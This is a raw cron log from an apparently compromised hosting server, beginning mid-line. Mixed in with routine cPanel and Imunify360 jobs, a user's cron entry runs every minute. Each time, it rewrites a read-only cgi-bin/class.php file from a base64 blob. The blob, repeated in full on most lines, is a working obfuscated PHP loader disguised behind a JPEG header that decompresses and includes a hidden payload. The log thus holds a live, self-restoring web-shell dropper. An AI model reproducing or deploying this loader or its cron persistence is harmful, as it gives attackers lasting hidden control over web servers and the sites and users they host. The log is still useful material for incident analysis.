EyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:17:01 server CROND[20212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:17:01 server CROND[20213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:17:01 server CROND[20214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:18:01 server CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:18:01 server CROND[20596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:18:01 server CROND[20597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:19:01 server CROND[21088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:19:01 server CROND[21089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:19:01 server CROND[21090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:20:01 server CROND[21478]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:20:01 server CROND[21479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:20:01 server CROND[21481]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:20:01 server CROND[21484]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:20:01 server CROND[21487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:20:01 server CROND[21489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:20:01 server CROND[21493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:20:01 server CROND[21491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:20:01 server CROND[21490]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:21:01 server CROND[22336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:21:01 server CROND[22337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:21:01 server CROND[22338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:22:01 server CROND[22724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:22:01 server CROND[22725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:22:01 server CROND[22726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:23:01 server CROND[23281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:23:01 server CROND[23282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:23:01 server CROND[23283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:24:01 server CROND[23828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:24:01 server CROND[23829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:24:01 server CROND[23830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:25:01 server CROND[24214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:25:01 server CROND[24216]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:25:01 server CROND[24217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 09:25:01 server CROND[24219]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 09:25:01 server CROND[24222]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:25:01 server CROND[24224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:25:01 server CROND[24218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:26:01 server CROND[25040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:26:01 server CROND[25041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:26:01 server CROND[25042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:27:01 server CROND[25432]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:27:01 server CROND[25433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:27:01 server CROND[25434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:27:01 server CROND[25435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:28:01 server CROND[25837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:28:01 server CROND[25836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:28:01 server CROND[25838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:29:01 server CROND[26325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 09:29:01 server CROND[26324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
